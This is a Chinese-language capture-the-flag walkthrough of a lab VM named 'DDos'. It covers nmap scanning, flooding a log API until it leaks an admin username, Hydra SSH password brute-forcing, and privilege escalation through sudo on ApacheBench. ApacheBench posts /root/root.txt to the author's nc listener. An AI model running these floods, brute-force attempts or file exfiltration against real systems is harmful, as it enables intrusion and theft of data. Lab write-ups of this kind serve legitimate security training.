

```
(root@kali)-[/home/kali]
# nmap -sS -sV -O -T4 -Pn -p- 192.168.60.117
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-25 06:47 EDT
Nmap scan report for 192.168.60.117
Host is up (0.00054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
1/tcp     open  ssh      OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
5000/tcp  open  http     Werkzeug/3.1.8 (Python 3.13.5)
MAC Address: 08:00:27:BD:16:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=9/25%OT=1%CT=2%CU=37606%PV=Y%DS=1%DC=D%G=Y%M=080027%TM
OS:=6AB65151%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%TS=21
OS: )SEQ(SP=107%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=22)SEQ(SP=107%GCD=1%ISR=10A%
OS:TI=Z%CI=Z%II=I%TS=21)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=22)SEQ(S
OS:P=FA%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NW8%O2=M5B4ST11NW
OS:8%O3=M5B4NNT11NW8%O4=M5B4ST11NW8%O5=M5B4ST11NW8%O6=M5B4ST11)WIN(W1=FE88%
OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4N
OS:NSNW8%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 24.57 seconds
```

俩端口，5000 是 web 服务，先看 5000

```
192.168.60.117:5000
{"description": "A simple logging service for storing and retrieving logs.", "endpoints": [{"description": "This documentation page.", "method": "GET", "path": "/"}, {"description": "Create a new log entry.", "example": {"request": {"curl": "-X POST http://localhost:8000/api/create_log -H 'Content-Type: application/json' -d '{\"content\": \"Error: Database connection failed\"}'"}, "response": {"data": {"filename": "dbb0c3_10g_11a4", "uploadid": "dbb0c3_10g_11a4"}, "status": "success"}}, {"method": "POST", "parameters": {"content": "string (required) - The log content to store"}, "path": "/api/create_log"}, {"description": "Get current server time.", "method": "GET", "path": "/api/server_time"}, {"description": "Get basic system information.", "method": "GET", "path": "/api/system_info"}, {"description": "Get disk usage statistics.", "method": "GET", "path": "/api/disk_status"}, {"note": "All responses are in JSON format. Contact support if you encounter issues."}, {"service_name": "Log Management System v1.0.0"}]
```

这里提示了这些目录可以去访问，还写了访问的方法

```
192.168.60.117:5000/api/server_time
{"data": {"iso_format": "2026-09-25T19:10:11Z", "note": "Server time is synchronized via NTP", "timestamp": 1790363411, "timestamp_ms": 17903634111817, "timezone": "EST"}, "status": "success"}
```

```
192.168.60.117:5000/api/system_info
{"data": {"architecture": "x86_64", "hostname": "DDos", "os": "Linux", "os_version": "#1 ZEN SMP PREEMPT liquoriX 7.0-8.1 trixie (2026-05-16)", "processor": "", "python_version": "3.13.5"}, "status": "success"}
```

```
192.168.60.117:5000/api/disk_status
{"data": {"free_gb": 32.06, "percent_used": 8.9, "total_gb": 37.11, "used_gb": 3.13, "warning": "Disk space is healthy"}, "status": "success"}
```

```
(root@kali)-[/home/kali]
# curl -X POST http://192.168.60.117:5000/api/create_log -H "Content-Type: application/json" -d '{"content": "Error: Database connection failed"}'
{"data": {"created_at": 1790363460847, "filename": "3b8b3b128bb7632088d3ecde281cc5188a6f6608e214cd14cff4f1579aacb6a1.log", "link": "/uploads/3b8b3b128bb7632088d3ecde281cc5188a6f6608e214cd14cff4f1579aacb6a1.log"}, {"message": "Resource allocated successfully.", "status": "success"}}
```

都看一下

靶机叫 DDOS，但是 DDOS 不太可能？感觉 DDOS 只会把他打坏而不是拿到 flag

/api/create_log 可以写入日志，就是可以发动 DDOS 攻击？

```
(root@kali)-[/home/kali]
# while true; do curl -X POST http://192.168.60.117:5000/api/create_log -H "Content-Type: application/json" -d '{"content": "Error: Database connection failed"}'; done
{"data": {"created_at": 1790363909475, "filename": "9291ff9f1d132e585badda6710506e75afdaf1930fe2f2f3482640c2ecd7bc2f.log", "link": "/uploads/9291ff9f1d132e585badda6710506e75afdaf1930fe2f2f3482640c2ecd7bc2f.log"}, {"message": "Resource allocated successfully.", "status": "success"}
{"data": {"created_at": 1790363909485, "filename": "390d0eecd706d670eadd9a7911dfdb0b47ac22023259ba781817a220345d11244.log", "link": "/uploads/390d0eecd706d670eadd9a7911dfdb0b47ac22023259ba781817a220345d11244.log"}, {"message": "Resource allocated successfully.", "status": "success"}
{"data": {"created_at": 1790363909494, "filename": "58eb4df421e559c1f8bea9f02d96166e5731a23292f696a8a7955090bb8c70d.log", "link": "/uploads/58eb4df421e559c1f8bea9f02d96166e5731a23292f696a8a7955090bb8c70d.log"}, {"message": "Resource allocated successfully.", "status": "success"}
{"data": {"created_at": 1790363909504, "filename": "3ba39dbb61e9a6aef8e1fe42a86351bf93dcfd8739d24aa78cd381813055c6f60.log", "link": "/uploads/3ba39dbb61e9a6aef8e1fe42a86351bf93dcfd8739d24aa78cd381813055c6f60.log"}, {"message": "Resource allocated successfully.", "status": "success"}
{"data": {"created_at": 1790363909514, "filename": "a56dae11a09fe1293c9864467d9fba20218b1499c33168495ddb93c0cd25e2e.log", "link": "/uploads/a56dae11a09fe1293c9864467d9fba20218b1499c33168495ddb93c0cd25e2e.log"}, {"message": "Resource allocated successfully.", "status": "success"}
{"data": {"created_at": 1790363909523, "filename": "dd7df8227d42c03b335e82c2a59a1981ff0c9660a207bdbb076a80c4850acb8.log", "link": "/uploads/dd7df8227d42c03b335e82c2a59a1981ff0c9660a207bdbb076a80c4850acb8.log"}, {"message": "Resource allocated successfully.", "status": "success"}}
```

```

{"message": "System critical: Unable to allocate storage.", "status": "error"}
{"details": {"admin_contact": "tonglinggejim0", "hint": "Please contact system administrator immediately.", "error_code": "RESOURCE_EXHAUSTED"}, "message": "System critical: Unable to allocate storage.", "status": "error"}
^C

```

一直重复之后返回值就变了

他给了一个管理员联系方式, tonglinggejim0, 可能是靶机上的用户, 试一下是不是用户名和密码一样的

```

(root@kali)-[/home/kali]
# ssh tonglinggejim0@192.168.60.117 -p 1
tonglinggejim0@192.168.60.117's password:
Permission denied, please try again.

```

不是

```

(root@kali)-[/home/kali]
# hydra -l tonglinggejim0 -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -s 1 ssh://192.168.60.117 -t 4 -vv
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-25 07:48:18

[RE-ATTEMPT] target 192.168.60.117 - login "tonglinggejim0" - pass "football" - 44 of 9437 [child 2] (0/0)
[ERROR] could not connect to target port 1: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 2 because of too many errors
[RE-ATTEMPT] target 192.168.60.117 - login "tonglinggejim0" - pass "andrea" - 44 of 9438 [child 3] (0/1)
[ERROR] could not connect to target port 1: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 3 because of too many errors
[ERROR] could not connect to target port 1: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 1 because of too many errors
[ERROR] could not connect to target port 1: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-25 07:48:56

```

爆破弱密码, 爆太快连接被拒绝了, 改成单线程

```

(root@kali)-[/home/kali]
# hydra -l tonglinggejim0 -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -s 1 ssh://192.168.60.117 -t 1 -vv
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

[ATTEMPT] target 192.168.60.117 - login "tonglinggejim0" - pass "jasmine" - 69 of 9437
[ATTEMPT] target 192.168.60.117 - login "tonglinggejim0" - pass "brandon" - 70 of 9437
[ATTEMPT] target 192.168.60.117 - login "tonglinggejim0" - pass "666666" - 71 of 9437
[1][ssh] host: 192.168.60.117 login: tonglinggejim0 password: 666666
[STATUS] attack finished for 192.168.60.117 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-25 07:56:05

```

```

Last login: Wed Apr 29 21:55:40 2026 from 192.168.193.14
tonglinggejim0@DDos:~$ ls
user.txt
tonglinggejim0@DDos:~$ cat user.txt
flag{user-faac9dae19d37c8d8876e0a6b05837ba}
tonglinggejim0@DDos:~$

```

可以登录了

flag{user-faac9dae19d37c8d8876e0a6b05837ba}

```

tonglinggejim0@DDos:~$ sudo -l
Matching Defaults entries for tonglinggejim0 on DDos:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User tonglinggejim0 may run the following commands on DDos:
  (ALL : ALL) NOPASSWD: /usr/bin/ab

```

-n 请求次数 执行的请求次数
 -c 并发数 同时进行的多个请求数量
 -t 时间限制 测量基准测试的最大时间（秒）
 这表示 -n 50000
 -s 超时时间 每个响应最大等待时间（秒）
 默认为30秒
 -b 缓冲区大小 TCP发送/接收缓冲区的大小（字节）
 -B 绑定地址 发起连接时绑定的地址
 -p POST文件 包含POST数据的文件。请同时设置 -T
 -u PUT文件 包含PUT数据的文件。请同时设置 -T
 -T 内容类型 POST/PUT数据所使用的Content-Type头，例如
 'application/x-www-form-urlencoded'
 默认为 'text/plain'
 -v 详细程度 输出多少调试信息
 -w 输出HTML表格
 -i 使用HEAD而非GET
 -x 属性字符串 插入为表格属性的字符串
 -y 属性字符串 插入为tr属性的字符串
 -z 属性字符串 插入为td或th属性的字符串
 -C 属性 添加Cookie，例如 'Apache=1234'。（可重复）
 -H 属性 添加任意HTTP头行，例如 'Accept-Encoding: gzip'
 在所有常规标头行之后插入。（可重复）

 -A 属性：添加基本WWW认证，属性为用户名和密码，用冒号分隔。
 -P 属性：添加基本代理认证，属性为用户名和密码，用冒号分隔。
 -X proxy:port: 指定要使用的代理服务器及其端口号。
 -V: 显示版本号并退出。
 -k: 启用HTTP保持连接功能。
 -d: 不显示已服务百分比的表格。
 -S: 不显示置信度估计值和警告信息。
 -q: 在发送超过150个请求时，不显示进度。
 -l: 接受可变文档长度（用于动态页面）。
 -g filename: 将收集的数据输出到gnuplot格式文件。
 -e filename: 输出包含已服务百分比的CSV文件。
 -r: 当套接字接收错误时不要退出。
 -m method: 方法名称。
 -h: 显示使用说明（此消息）。
 -I: 禁用TLS服务器名称指示（SNI）扩展。
 -Z ciphersuite: 指定SSL/TLS加密套件（参见openssl ciphers）。
 -f protocol: 指定SSL/TLS协议（SSL2、TLS1、TLS1.1、TLS1.2、TLS1.3或ALL）。
 -E certfile 指定可选的客户端证书链和私钥

看了一下他参数的中文翻译

-p POST 文件 包含 POST 数据的文件。

可以发 root.txt

```

root@kali:~# nc -lvnp 1234
listening on [any] 1234 ...

```

kali 先开个监听

```

tonglinggejim0@DDos:~$ /usr/bin/ab -p /root/root.txt http://192.168.60.10:1234/
ab: Could not open POST data file (/root/root.txt): Permission denied

```

要以 root 运行才能读到/root 里的文件

```

tonglinggejim0@DDos:~$ sudo /usr/bin/ab -p /root/root.txt http://192.168.60.10:1234/
This is ApacheBench, Version 2.3 <$Revision: 1923142 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking 192.168.60.10 (be patient)... apr_pollset_poll: The timeout specified has expired (70007)

```

```
(root@kali)-[/home/kali/Desktop]
# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.60.10] from (UNKNOWN) [192.168.60.117] 49912
POST / HTTP/1.0
Content-length: 44
Content-type: text/plain
Host: 192.168.60.10:1234
User-Agent: ApacheBench/2.3
Accept: */*

flag{root-429f809b23ee59b37202d1a909096e43}
█
```

拿到 root 的 flag

flag{root-429f809b23ee59b37202d1a909096e43}